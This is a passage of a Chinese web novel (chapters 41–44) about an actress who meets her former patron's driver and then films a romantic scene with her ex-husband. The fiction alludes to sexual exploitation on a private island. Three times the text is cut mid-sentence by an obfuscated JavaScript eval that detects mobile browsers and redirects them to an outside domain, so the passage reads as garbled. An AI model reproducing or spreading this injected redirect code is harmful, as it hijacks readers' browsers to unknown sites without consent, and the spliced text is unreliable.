“我明天晚上八点的飞机,如果工作能提前结束的话就往前再改签。对了,昨天爸妈打视频是说他俩在后院种的砂糖桔终于丰收了,好几个品种呢,问你喜欢酸的还是纯甜的?要给我们往剧组寄几箱尝尝。” 真是听不得这种家长里短的话。熟悉的,温柔的煎熬又涌没了她的心,可终究盛情难却,云灯没说别的,“要带一点点酸的。” “知道啦。”他说,“还有,在那边酒店你每一觉都睡得特别深,所以走之前我要了两套客房里的助眠香薰,就装在我们行李箱里,待会儿你回到了拿出来试试。实在还是很想我的话,要不开着视频我陪你睡觉?” 她被肉麻得打了个哆嗦,“那倒也不必。” “那好吧。”叶平川发出遗憾的叹息。 “其实我也觉得看得见吃不着反而更心焦。还是等我回来陪你睡吧,到时候翻来覆去各种姿势随便挑,你想怎么睡就怎么睡!” “……” 梁天早就把视线投降另一边的车窗,假装自己不在。 云灯诧异地盯着手机,半晌,才低低地嘀咕,“神经。” 好像把她当成了什么极度缺爱乃至于不敢一个人睡觉的小可怜。 本来想找他撒撒气的,被打了个岔,她自己也忘记了。回到酒店房间,找出度假时用过香薰,味道是一样的。 但她并没有因此睡得更好。 她久违地梦到了从前。 傅谦明在海外拥有一座私人岛屿,专门用来招待“度假”的朋友,很多年轻漂亮的女孩男孩应召上岛。一段时间里,她负责筛选。她总是反复确认,这些人是否清楚陪玩的内容,是否真的愿意为挣一笔快钱把自己暴露在难以预测的风险里。 几乎每个人都会故作老成地说知道,愿意。可同样还是那些人,到最后会伤痕累累地来求她帮忙,想办法离开那座岛。 她能做的,在最初就已经做过了。 只有一次选择的机会。 只有一次。 她亲眼目睹了无数个心惊肉跳的命运转折点。看着一张张鲜活的面孔逐渐蒙上惊惧绝望的阴影,就像是自己也死了一次又一次。 梦中森林疯长,变成了吃人的怪物。她祈祷海水吞没小岛,吞没一切丑陋的扭曲的东西,她祈祷无人生还。 汹涌的巨浪卷上海岸。就在梦想成真时,有一叶小舟载着她,摇摇晃晃地漂远了。 刺骨的海水变成了温热的泉水,灌溉她身体里的每一个细胞。耳边咆哮的涛声逐渐消失,变成了不厌其烦的反复言说。 没关系,没关系。 选错也没关系,怎样都可以。 以后会好的,还有以后。 推迟的生理期终于到来。清晨云灯坐在马桶上换内裤,有点后悔,白吃了避孕药。 叶平川一大早就打电话过来,贴心提醒陛下上朝。此时手机放在旁边,他听见悉悉索索的声音,又唠叨了半天。云灯一句也没听进去。 “算了,我待会儿直接跟梁天说。”叶平川感觉到她心不在焉,“你这次姨妈推迟不是自然状况,今天肯定会肚子痛的。” “我会吃止痛药。”云灯收拾完,起身洗手,“有药就行了,别的东西都不重要。你别总让小天搞七搞八的,年底事多,她最近工作也很忙。” 三倍工资也不是白开的。叶平川本来要反驳,一合计发现身边一圈人里确实就数他清闲。舍我其谁啊,“那行,等我回去给你搞。” 或许是受到生理期的激素影响,所以做了噩梦。云灯一整天都不太舒服,胸口发闷,感觉像被兜头蒙在塑料袋里,呼吸不顺。 即便是这种情况下,拍摄对她而言也没有难度。邓晓琼都没看出来她有什么异常,晚上收工还叫她去喝酒。 她随便找借口推了,回酒店休息。路上照常有来探班的粉丝,只是今晚的比往常要热烈些,问了问才知道,是粉丝站成立纪念日。 之前梁天跟她提过,粉丝站可能会组织活动,但不会打扰她拍戏,最多来探班送个蛋糕什么的。她正忙,听完忘了。 当下时间已经不早,她紧急联系助理请了奶茶宵夜。临下班来个大单,几百杯奶茶店员手都要摇出火星子了。附近几家奶茶店联合点了一遍才凑齐。 切完蛋糕,她又留下多拍了会儿照,直到宵夜送来,跟大家一起吃了点才走。 “气温快要低到零下了,记得好好保暖,回去的路上注意安全。” 她坐在车里,隔着降落的车窗跟粉丝道别,直到再也没有摄像机能拍到,脸上的笑意才慢慢淡去。 身边的空位上放着堆成小山的手写信。她拆开看了几封,累得眼睛酸胀就放下了。剩余的都由梁天带去公司放在她的办公室里,等她什么时候有空再一股脑地看完。 她的行程满得个超人,脚不沾地。 梁天看在眼中,也不由得想,幸好有叶平川,能把她带走休息一天。否则留在剧组,不拍戏也要加班干别的,还不知道什么时候能喘口气。 “我的水杯呢?”她嗓音微微沙哑。这次是因为跟粉丝互动,不停地说话。 梁天立马把泡好的枸杞枣茶递过去,“我下午加了一次热水,温度应该正好。” 云灯捧着保温杯喝了两口,靠在座椅上长长地舒气,“甜甜的喔,像我贴心的小天一样sweet。” 梁天:“嘿嘿。” 她也不知道自己干嘛傻笑,但是被云灯夸奖就经常会这样。 “雪舒今天没有找我吗?” “没有吧,她收工之后好像直接回酒店了,现在应该在房间休息。是有什么事需要找她吗?” 云灯摆摆手,“随便问一下。” 只是直觉,申雪舒应该有话要对她说。昨天一进组就开始忙,按理说今天会有动静。 没有更好。反正她缺席的事,从小天和叶清那儿都听得差不多了。 叶平川也告诉她已经下了飞机,正在回来的路上。这忙碌的一天似乎就此拉下帷幕。 路过大堂的休息区,云灯脚步却较往常放慢了一些,甚至往那边多绕了几步。 夜已深,休息区的沙发上只坐着一个人,且十分显眼。只从背影就能看出身材高大,肌肉发达。 依然顶着那个莫名其妙的韩国欧巴同款顺产发型,懒懒地靠着沙发,玩手机游戏打发时间。 云灯走过身边时,他抬了一下眼皮。没有目光交汇,又面无表情地垂下眼看回手机。 电梯运转,上行,下行。 二十分钟后,她换了身装束,裹着长款羽绒服,帽子和口罩,重新出现在大厅里。走到这人身边,站定,抬腿踢了他一脚。 他这才熄灭手机屏幕,要笑不笑地看着她。下一秒,两人几乎异口同声。 “仲未死?” ** “好不容易进去蹭个暖气,又遇上你。” 冰天雪地里,黑K双手插兜,有风度没温度。皮夹克显然不如羽绒服保暖。 跨越数年的重逢。两人行走在酒店附近的夹道,云灯从兜里掏出两片发热贴递给他,考虑周到,“喏。暖手。” 他犹豫后才接过,看着这女人熟悉的嘴脸,眼神有些复杂。 算是朋友吗?不算吧。 当初她用了非常手段离开傅谦明,自然不可能跟任何人道别。无论关系亲疏。 时隔多年,再见面似乎也没什么话好说。他不知道云灯叫他出来干什么,但显然不会毫无目的。 她是傅谦明一手教出来的,说的每一句话,做的每个动作里都藏着心眼。怎么可能会浪费时间,在这天寒地冻的大半夜里跟他散步。 可她就是不说话。 走了十来分钟,黑K憋不住先开口,“你当初结婚,那个婚礼我也去了。” “哦。”云灯也把手揣在兜里,晃晃悠悠地走路,脚步看起来很放松,“那你有没有给我份子钱?” “……没有。我就是去开车的。”他说完,又补充,“当时我也想过,要不要给。可又想着,我见不到你人,不能亲手给你,留礼金都要落款签名的。既然你费尽心思地跑掉,那最好还是别再让你跟过去的人有牵扯。” “借口。”云灯刷地一下从兜里掏出手机,“你现在给也不迟啊。” “……” 他愣了愣,随即一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558567|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语地摸出手机,扫了她的收款码,转过去两万,“操。怪不得刚才一看见你老子右眼皮就死命地跳!” “嘻嘻。辛苦了右眼皮。” 她收了钱,脸上的高兴不像是假的。黑K纳闷道,“你不是嫁了个富几代么……听说是个低调的隐形富豪家族,还能缺你这点钱?” “诶呀,钱嘛。”云灯说,“谁会嫌多呢。” 天空中忽然开始飘雪花。细小的白色晶片落在他打了发胶的顺毛刘海上,她抬手摘掉,忽然有点感慨,“离开港市以后就再也没见过这种丑刘海了,你对这个发型还是这么执着。” “呵呵,”他说,“你对羞辱我的审美也很执着。” 但她看起来过得还不错。 还是那副恨不得把自己瘦成纸片的死样,神采却柔和了很多。 他见过云灯最伪善的假笑,对比之下可以确定,是有区别的。 两人的脚步停在大楼的阴影里。他望向街口的视线是下意识的,云灯也跟着望过去。那里停了一辆劳斯莱斯库里南,挂着显眼的港牌。 怪不得……原来小蛋糕在忙。 “怪不得要把你赶下车呢。”她眼底浮现出晦暗的笑意,“你猜他们现在正在车里干什么呀。” 黑K翻了个白眼。从以前就很佩服她,有时候真的没心没肺到令人发指。 可转念一想,她也并不是什么值得同情的角色。“在干你跟他以前干过的事。” 云灯竖起拇指,“总结精辟加阴阳怪气。成长了,表扬。” “……” 是长了点,但奈何底子差。对于反派人物而言,心眼实在太直。 见面不过半小时,云灯就知道,他还是没有得到傅谦明重用。 整天跟在boss身边,连她离婚的事都不知道。 她可不会天真到以为傅谦明一无所觉。只是在他眼里,一个开车的司机兼打手,大概也不配知道太多。 “你走之后,他又换过两次姑娘。第一个太胆小了,这第二个跟的时间还算长点。” 黑K望着那辆库里南,车里没亮灯,隔这么远也看不到明显的摇晃起伏,黑漆漆的像只蛰伏的怪物。 “不过,我跟了他十几年,看过的姑娘里只有你是待得最久的。”久到他都以为云灯会死心塌地,一辈子跟着傅谦明。 “你虽然不是最漂亮的,也不是最聪明的,但是我觉得他把你调教得很好。他对你是最满意的。” 云灯闻言十分惊讶,“你的审美果然大有问题。” “……” “我也早就不需要他对我满意。” 黑K点了点头,“是啊,你翅膀多硬。” 早在她敢以身犯险,替傅谦明挡子弹的时候,就能看出来。她不可能甘心一辈子只做个见不得光的情人。 她是第一个傅谦明没有放手,就能靠自己从他手里逃走的人。 “我以为你至少会从他手里得到点什么,得力的人或者有用的把柄……有了能站得住脚的资本才会离开。结果你什么都没要,只光秃秃的一个人就走了。” 她这到底是想开了,还是想不开呢?很难评价。 “你把最喜欢的小狗也扔了。”他忽然说,“她现在过的日子,可说不上好。有段时间我以为你很把她当回事呢,但其实你只是无聊,心里压根就不在乎吧。否则怎么会走得那么干脆。” “你也不愧是傅谦明教出来的,要做什么事,心里就只考虑自己能不能获利,还要确保自己能拿到最大的那一份蛋糕,至于别人的死活,从来都不重要。所以说,你们这样的人,注定是能成功的。所以你才敢从头开始,现在当上大明星,又有个富豪老公也不奇怪了。” 他说完才发现,云灯一直没接话。 不知从哪一句开始,她的状态有些奇怪,处于某种游离于现实之外的寂静里,静得诡异。 他皱眉喂了一声,想问突然是怎么了。视线对上的刹那,不由自主地咽了咽口水。 云灯个子比他矮很多,注视他时还需要微微仰着脸。可那样一双黑亮的眼睛,带着寒意直直地凝视他,竟然给他一种猎物被盯上的错觉。 “你说她现在……在过,什么?” 42. 第 42 章 “就那样活着喽。岛上的女人,还能有什么别的活法?”黑K语气平平,“听说最近有个老外,好像是在哪国当官的,估计看上她了吧,把她带出去玩了几回。别的我也不知道了。” 他不明白云灯问这个有什么意义。骆小花本来就是作为她的玩具出现的,被她放弃就失去了唯一的价值,还能有什么好下场。 “这样啊。”云灯缓慢地点了点头,呼出一口白汽。细小的雪花落在她的睫毛上,融成晶莹的一颗。 她没有追问。 夹克口袋里的手机倒是先响了起来,他接通电话,听清吩咐后表情变得有点怪异,“傅先生想请你上车叙旧。” 他们还在这里说闲话呢,没想到先被车里的正主给发现了。 关键那车里面不是……还有个谁么。 他不懂什么情况,但还是举着手机,如实转达。 “嗯?”云灯露出微笑,不紧不慢道,“可是我不喜欢太多人的叙旧喔。” 她的声音不大,控制在一个刚好能透过手机传播的音量,温柔轻缓的语调最是绰约。 “如果傅生想同我讲话,那么应当是他来见我。” 她站在原处,保持着双手插兜的放松姿态,定定地望着街口那辆车,面色沉静如水。 通话两端颇有默契地保持沉默。 夜雪寂寂。不多时,后排车门悄然无声地打开,在黑暗中朝她裂出一道缝隙。 她几乎是下意识地被吸引着靠近,鞋底离开地面的瞬间,又死死地踩回去。像是脚冷,原地小幅度地踏了几步,带着点小女孩的娇俏,“傅生似乎还在约会中,是不是不太方便呢?” 这情态,明显是有夫之妇要勾搭老情人。 黑K:“……” 叹为观止,又情理之中。 她本来就不是什么安分的女人。 车门是打开了,却没有踩着手工皮鞋的腿脚踏出来。手机里也只有低低的笑声,除此之外,似乎没有别的言语。 两人没有照面,隔着一条街,不动声色地拉锯。 云灯笑眯眯地望着,耐得住心底千万句震耳欲聋的尖叫。明知道那人必定也在透窗看她,却不走过去。 先心急的那个人,先暴露目的。 她一定要傅谦明主动过来。 明明是毫无瑕疵的笑容,越看越瘆人。柔软的皮肤底下涌动着沸腾的杀意。 黑K硬是主动避开她的视线,吞了吞口水,作为play中的一环,举着手机里外不是人。 正在僵持时,他听见身后传来陌生的声音,“呦,这是聊什么呢。” ** 酒店房间没人。出来转了一圈,叶平川也正准备给她打电话。 他手里拿了杯快要见底的奶茶,身上是午后看秀穿的驼色大衣,鼻梁上还架着一副金属镜框。很少见,有种斯文的人夫感,大步走过来,像下班的路上顺便来接老婆回家。 对峙啪的一下被打断了。云灯再往远处看,那道缝隙已经消失不见。车门好像从没开过。 “出来见朋友?”叶平川很随意地问了句,空闲的手揽上她的肩。 他一出现,不用自我介绍,身份也足够明了。只可惜他们并没有寒暄的必要,连认识一下的意思都没有,匆匆扫两眼就往街对面走了。 倒像是他把人吓跑了一样。 叶平川看着也摸不着头脑,“那傻大个儿谁啊。” 云灯叹了口气,“傅谦明的司机。” “哈?” “哈什么哈。你奶茶哪儿来的?” 她话题转得自然且迅速,似乎只是碰巧遇上,并不在意什么司机不司机的人。 叶平川把“姓傅的怎么又来了”这种话咽回去,赶紧把最后两口吸完,“刚刚回去的时候你站姐给的!我这不是跟着庆祝一下么。” “少喝。”她戳了戳叶平川的脸。节食策略瘦得他轮廓更鲜明,被高领毛衣衬得很矜贵,“杀青前再偷偷吃零食被我发现的话——” “会惩罚我吗?”他眼睛一亮。 “会丢掉你。”她说。 “啊……”叶平川瞬间没了蠢蠢欲动的心思,捉住她冰凉的手往口袋里捂,“快跟我回去,大半夜的,有什么话不能在有暖气的地方说啊。” 云灯嗯了一声,才走几步就没劲了,声音微弱,“可不可以背我?” 叶平川停步弯腰,没问为什么,“上来。” 看起来跟偶遇的旧相识聊得不算愉快。 梁天说她自己下楼来散步,他听着就觉得奇怪。 如果是因为想见他,所以迫不及待跑出来接他,那至少也会给他打个电话。 “我今天回来换车了,还怕你出来等我,找不着我呢。”叶平川背着她踩在落白的地面上,脚印更深了些,“肚子痛不痛?要不还是抱着。” 云灯说,“不痛。” 脑袋比较痛。 她趴在叶平川背上琢磨。要么是黑K道听途说搞错了人——他只是跟着大佬打杂的,跟那些女人并没有直接见面的机会。 要么就是,傅谦明拿一张黑白照片把她骗得团团转。小花一直就没死,他只是特意选在婚礼那天,想恶心她一下。 是啊,她养了那么多年的女孩,白白死了多浪费。留着替他招待客户不是更值吗。 可万一,黑K对她说的话也是被人授意的呢? 万一今晚的偶遇根本不是偶遇呢? 小花到底变成了什么样。这次她一定要亲自确认过,才会相信。 “酒店附近还有狗仔没走呢。”叶平川说,“待会儿又被他们拍到了。” “拍到就拍到。”云灯双手抱得更紧。不管他心里又在暗爽。 站着不动还好些,一走路才发现是真的脚软了。跟生理期没关系。 “嗯。今天可把我们灯灯累坏了。”他模仿梁天的语气,也算是活灵活现,“叶老师要好好照顾她哦。” “那叶老师打算怎么照顾呢。”云灯漫不经心地接着话,从刚才的对峙里慢慢回过神,摸了一下他凹造型的镜框,“这是哪里来的?” “品牌送的,情侣款。还有一个放你房间了。” 叶平川一直背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570085|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她进了电梯,才把人放下,手掌撑在她身侧,“喜欢吗?摘下来玩。” 云灯挑眉,依言摘掉他脸上的眼镜。果不其然,下一秒,蓄意的吻就陷入她唇间。 刚刚接收了一些让人心惊肉跳的可能性,她恰好很需要实实在在的体温回暖,帮忙重返人间。 她踮起脚,主动加深了这个吻。叶平川哪想到这种好事,被反过来按在电梯里亲红了眼,踉跄回到房间,双双倒在床上才勉强制止,“等等……今天要冷静。” 如果不是还在生理期,他毫不怀疑云灯已经扒掉了他的衣服。 她自己也很郁闷的样子,虽然没有扒,躁动的手指还是在他身上爬来爬去,到处捏一捏戳一戳,时不时再抬头接一会儿吻。 在这场漫长的解压游戏里,叶平川被幸福折磨得够呛。 云灯趴在他身上不想起来,一会儿说下雪很烦,一会儿又说他大衣好看,用脸蹭着他撒娇,拱他的脖子。 叶平川被拱得很想笑,感觉像没睁眼的小兽崽,边说梦话边找奶吃。但他没敢说出来,怕她听见就不拱了。 “好几年没见,我还讹了他两万块的份子钱呢。”她喃喃地说,“前夫哥,要不要分你一半?” 叶平川:“……”很希望她专心踩奶,别说这些有的没的。 “头好痛。”她又忍不住抱怨。因为真的很不舒服,她甚至用手腕捶打了两下太阳穴,“里面塞了太多东西了。我为什么总是会有这么多想法?” 叶平川握住她乱挥的手,轻轻扯开,“想得多也不是你的错,是因为遇到很多难搞的人,才不得不去猜,去想。哪有谁是生下来就一堆心眼的?还不都是被环境逼出来的。打自己干什么。” 他按了按那无辜挨打的位置,又给她捏捏肩膀,按了按腰,僵硬的肌肉一寸寸放松。 “对我真好啊前夫哥。”她舒服地叹气,闭着双眼迷糊地说,“现在我想试戴一下我的新眼镜了。” “等着。”他起身去拿眼镜,趁机飞快地往京市打了个电话。 莫名其妙讹到两万块钱,应该觉得好玩高兴才对,可她脸上却看不出那个意思。 傅谦明怎么还有闲工夫来剧组乱晃?他也觉得不对劲,怀疑自己上次在病房里提出的要求根本没被好好完成。 事实却并非如此。电话里很肯定的告诉他,姓傅的在内地谈的几个项目要么谈不拢,要么已经达成合作却迟迟无法开工。尤其是在京市,可以说寸步难行。 叶平川说声知道了,拿起新眼镜往里面走,站在床边才发现她已经睡着了。 “还说要玩儿呢。”他蹲下来,亲了亲熟睡的脸蛋,看来看去感觉不过瘾,张口咬住一团软软的脸颊肉,牙齿轻轻磨了几下才肯罢休。“是他让你不开心么?” 她看起来比往常都要疲惫,被按摩完很快就入睡,有种逃离现实去梦里喘息的急迫感。 “我来帮你解决好不好?”叶平川低声道。明知道她不会回答,“不说话就当你答应了。以后都不准因为他不开心,不准跟他说话。” 最好永远也不要再见他。 43. 第 43 章 前一晚的香薰都没能让她这么好睡。叶平川浑然不知,从大衣口袋里摸出钻戒,小心地戴进她的无名指。 扔的时候是一起,要捡回来他怎么可能只捡一个。 今晚戒指一直在他大衣口袋里。起初他握着云灯的手往里放,其实都已经碰到了,只要勾勾手指就会发现。只是她当时心思全然飘在别的地方。 上次吵完架又一起去走红毯时也是,他手上戴着一枚,兜里还揣着一枚。只要云灯愿意多跟他说几句话,他就会掏出来还给她。 可是她也只是问上两句就作罢,仿佛并不太在意。 她好像从来都是这样,没有舍不得的宝贝,也没有离了就不能活的人。 ——随时都可以抽身离开的状态。 想留住她太难了。 可一个人,真的比较好过吗? 叶平川撑着脑袋看她脸上浅浅的牙印。也没人理他,自顾自看得开心了,又在那里嘀咕,“把我丢掉也没用。我自己没脚吗?回来找你很难吗。” 从过往的经验来看,他觉得想要跟云灯好,万万玩不了什么欲拒还迎的心眼。你跟她搞推拉,她把你当对手,一来二去动的全是脑筋,不会动心。 那是她擅长的部分,甚至是她希望的叶平川的态度。只过招不过心。 但那不是正常的健康的感情,也可以预见,发展下去肯定不会导向好的结果。 他不是为了玩“你欠了我我又欠了你”的前任拉扯游戏才进组的。确定了云灯对他还有感情,下一步当然是解决问题,恢复家庭关系。 虽然现在看起来,比起解决问题,云灯更倾向于解决他。 留给他的时间不多了。这个组还有月余就会解散,到时候再想见她一面都难。 怪只能怪他自己,当初就知道委屈还死装,纯纯是浪费时间。早知今日,进组第一天就该滑跪求老婆回家。 叶平川紧急思考,人类之中她喜欢甜妹,就是喜欢那种清澈又愚蠢的天然感。是一种属性,不拘于性别。 很好的品质。他要逐步践行。 床头灯下,戴着婚戒的手指交缠在一起,天然钻石的火彩在昏暗的灯光里依然闪花人眼。他揉了揉云灯掌肚的软肉,越看越觉得,这两只手天生就应该紧握。 ** 骤然得知小花的消息,云灯还以为会彻夜难眠。 可她居然沾床就困,还睡得很沉。 这下连她自己都没法儿给自己辩解了。她确实就是个挺没心没肺的人。 天色未明。她在一室暗灯中睁开眼睛,是被小肚子抽搐的疼痛叫醒的。她皱着眉从枕头底下摸出布洛芬,抬起一点身体,去拿床头柜上的水杯,被手指上的闪光刺到了眼睛。 嗯?这是什么? 她看着失而复得的婚戒吞下胶囊。水是温的。 知觉逐渐苏醒。卫生棉吸满血的胀感堵塞在身体里,她注意到唯一的光源是从浴室里透出来的。她身上乱七八糟地盖着叶平川的大衣,身下还垫了两层浴巾。 就这么睡了一夜,不用想也知道裤子肯定脏得一塌糊涂。她不适地动了动,听到洗手间门开的声音,莫名又闭上了眼睛,假装没醒。眼皮留了条缝。 她视力很好,好到只一线视野也足以看见,叶平川全身光裸地走出来,身高腿长的,就那么放纵不羁地甩着走来走去。 ……她还是把眼睛闭严实了。 叶平川也没想到自己凌晨遛鸟还能被看见。浴巾都铺在云灯身下,他洗完澡只拿毛巾潦草地擦了擦,也懒得再去隔壁拿衣服,赤身裸体地躺床上又开始扒拉她玩儿。捏一捏这里,摸一摸那里,很会自得其乐。 云灯忍了几分钟,再睁开眼时,叶平川正捏着她的发尾试图打个花结。 “嗯?今天这么早就醒啦。”他依然没有什么羞赧的模样,就这样大剌剌地起身,“要不要扶陛下去更衣?” 云灯:“……”穿件衣服吧你。 “你怎么不回自己房间去睡。”她把身上的大衣掀开,小心地挪动屁股的位置。浴巾也被弄脏了一点。 “啧,我怎么能把你一个人扔这儿啊。”叶平川说,“本来想帮你洗个澡,看你睡得好又不太舍得叫你。现在还早呢,你还能再眯一觉。” 云灯看了眼时间。凌晨四点两个人都醒着,很罕见也很可疑,“那你起这么早干什么?” “热身。”他朝云灯眨了一下眼,用引诱的语气说,“忘记今天要拍什么了?陛下。” 《胜春朝》里权谋线交织,纯粹的感情戏不多。新皇登基后,两人的洞房花烛夜是一场喜闻乐见的,情浓意厚的半裸戏。 之所以说是半裸,是因为裸的那一半戏份全在叶平川身上。为此他早早起床热身准备,要在镜头前呈现最好的身体状态。 辛辛苦苦节食,肌肉都快掉光了,为的就是今天! 片场已布置成形。红烛鸾帐,光影暧昧摇曳,浴池汤泉里飘着花瓣,但天气寒冷,热水注进去后很快就会变凉。 原本导演安排的是两人都下水,实际到了片场,叶平川不同意她一起下去。 云灯都准备脱衣服了,“矫情什么?” “什么矫情,我只是希望你能一视同仁。” 上次他就想说了,但他当时人不在片场,没能插上话,“云灯老师,云导,这个组里规定女演员遇到生理期,水下的戏份都可以改期对吧?为什么只有你例外?” “……”她被噎了一下,没立刻说出反驳的话。邓晓琼就在旁边看着,此时开口,“就先按他的来呗,拍出来效果不好再说别的。” 有另一个导演帮腔,叶平川底气更足了,双手握着她的外套往上提,领口攥紧,“听到了吧。你就坐那看我拍,等着临幸我就行了。” 无论什么影视剧里,美人出浴拍好了都是经典镜头。他也很清楚自己颇有姿色,云灯忍俊不禁,去龙床上找了个姿势坐着,想一想又叫助理拿走外套,换了带毛领的披风,握上一卷闲书。 虽然镜头还带不到她这儿,但既然开机,就得在状态里。 作为辅佐新帝登基的关键人物,谢凭渊和她的关系,朝野上下几乎都心照不宣。 但这还是第一次,皇帝明牌令他留宿寝殿。 白天还在御书房正襟危坐,讨论国事,严肃得不行。入夜后,却是这般坦诚相见。 历经两朝,谢凭渊怎么也是见过大风大浪的人物了,仍在司寝嬷嬷向他推荐润泽肌肤的膏脂时红了耳根。 “先出去吧。”到底是个大男人。前三十年当惯了光风霁月的端方君子,忽然要以色侍人,任谁都很难习惯。 可想到内室里正在等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587535|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的人,那双清冷眼眸中又泛起暖意。他屏退左右,从池水中起身,拉起衣袍穿上。 寝殿里铺了地龙,暖如春日。长袍单薄,被浸湿了贴在身上,似有若无地露出身体轮廓,清劲有力的薄肌十分上镜。 摄像机在轨道上滑行,随着他的步伐稳定推进,他被精心布置的打光灯照成了冷白皮,面上那一点几不可见的红晕便显得格外勾人。 天之骄子步入凡尘,倾尽心血,为心爱之人筹谋天下。如今,到了连自己都献出去的时候了。 平日里再沉稳持重的人,今夜也难免心如鼓擂。 榻上的人倚着靠枕看书,墨发披肩,似乎并未发觉他进来。谢凭渊起初以为是自己脚步很轻,走近了看她还没反应,就确定她是故意的,面上多了些无奈的笑意。 “在看什么书?”他有些局促地清了清嗓子,俯身靠近,嗅到两人潮湿的发丝间有相同的香气。 “民间搜罗来的孤本。”书卷后露出一双灵动狡黠的眼睛,“艳情话本。” “……”谢凭渊面不改色,强装镇定道,“那该一同看才是。” 年轻的帝王粲然一笑,放下书卷,细细端详之下,忍不住伸出手,挑开他半湿的长发,露出一片起伏的胸膛。 这是她从未见过的谢凭渊。不是朝堂上心思缜密的文官重臣,也不是书房里亦师亦友的前辈。这样的谢凭渊,脱去了禁欲的外衣,不必再敬重守礼。 可以亵玩焉。 光是凝视就满足了征服欲。她玩心大起,指尖按在他的唇上轻轻一抹,尝了尝,煞有介事地评价,“谢卿含过的口脂,果然比别处香甜。” 谢凭渊蓦地红了脸。美人嗔怪的表情也别有一番风情。 可他根本就没有涂什么口脂。 昔日小姑娘竟成大色迷,调戏人的把戏信手拈来,当真是学成出师了。 这一段剧本里只写了需要情景互动,拍摄时全看两名演员的临场发挥能力。 镜头内外,全场都在等叶平川的反应,看他如何接戏。 他被云灯架在一个不好应对的境地里,冒进会显得媚上过剩,有崩人设的危险。退守又会破坏已然蔓延的暧昧氛围,影响后续床戏的节奏。 要如何不动声色地邀宠帝心呢。 从政数十年,这是谢大人遇到的最大难题。 称帝之后,她身边各种达官要员送来的美色数不胜数。那些贵族少年他也见过,无一不是青涩动人。 他已人到中年,当然比不得那些小男孩新鲜别致。可他也有傲气,更有自信,他早已为爱人奉献所有,世上再无第二个谢凭渊,能比他更加珍视,爱重眼前之人。 他抚触言秋的手心,忽而拨开她的袖口,露出里衣下掩藏的玉镯。稀少华贵的帝王紫,衬得她手腕莹白如霜。 这是两人的定情信物。她一直戴着,就连登基大典的那天也没有摘下。他不止一次地看到过,她高坐在龙椅上,遇到难题陷入思考时,会习惯性地轻轻转动手镯,仿佛在隔空摩挲他的手背,令人心生潮热。 “陛下胃口颇佳,不妨多尝。只是……”他顿了顿,低声道,“莫要与他人作比。” 云灯呼吸一紧。他的动作并未停止,修长的手指继续向上,穿入玉镯内,紧贴着她手腕的脉搏。 “此处风光独我。” 44. 第 44 章 这动作完全可以看作性暗示,但他的神态把握得很精准,让整个画面显得色而不淫。 邓晓琼满意地点头,认为这种程度的搞颜色比简单直给的鸳鸯戏水更符合角色,拍板了这一条,“穿衣服吧。” 云灯现场拿平板跟他一起看了返送,也都认为不错。她甚至觉得,画面里的叶平川看起来非常的甜美,可口。 大概是生理期的激素影响。她冷静地分析。 正主就在她身边,裹着羽绒服一边喊冷一边往她身上靠,被她一巴掌拍开,“……” 再也不是抱着他亲到睡着的时候了对吧。 不过他正在逐渐习惯她这种左右脑互博似的反应。就好像有一半的云灯忍不住地喜欢他,同时又有另一半的云灯在喊不要哇,爱上人类对小猫咪来说太危险啦。 可爱。 他不再质疑爱的存在。而是应该更努力,想想办法让猫咪放松下来,接受自己会爱人,生活也可以过得很好。 云灯不知道他又在打什么注意,但接下来的每天都在亲眼看到,什么叫在挨打的边缘反复试探。 收工以后他总是不老实回自己房间休息。但每当她觉得被缠着心烦的时候,叶平川就会主动往后撤两步,笑起来显得脸皮很厚,“要睡觉了吗?那晚安,我明天再来烦你。” 然后第二天真就准时又过来烦人。不管有戏没戏,在组里每天睁开眼,第一个见到的人就是他。堪比报时小鸟,对她的每日工作行程比助理还清楚。 当下只顾着无语。后来等她发现的时候,叶平川已经很久没有睡过懒觉了。 放在旁人身上,乍一听或许也没什么。但这对他来说,跟转了性子没两样。 他记得自己说过的每一句话。 云灯也记得。 那天在温泉里,他说很后悔自己从小就爱睡懒觉,硬生生错过老婆十几年。 但她想说那是无稽之谈。就算两个人真上了同一个小学,也不一定会认识的。 她在叶平川家里成长博物馆里见过,他从小学起奖牌就很多。那些游泳,射击,骑马和网球项目,她一个都不喜欢。他每天忙着玩儿那些,压根也没有时间跟她碰面。 她发现自己就连在想象中,看待人生的角度都异常悲观。 不知道叶平川是怎么得出“悲观的人很可爱”这种结论的。 失而复得的钻戒就放在她枕头底下。她每晚躺在床上,睡前没事儿就会摸出来戴一戴,盯着发会儿呆,然后再摘下来放回原位。 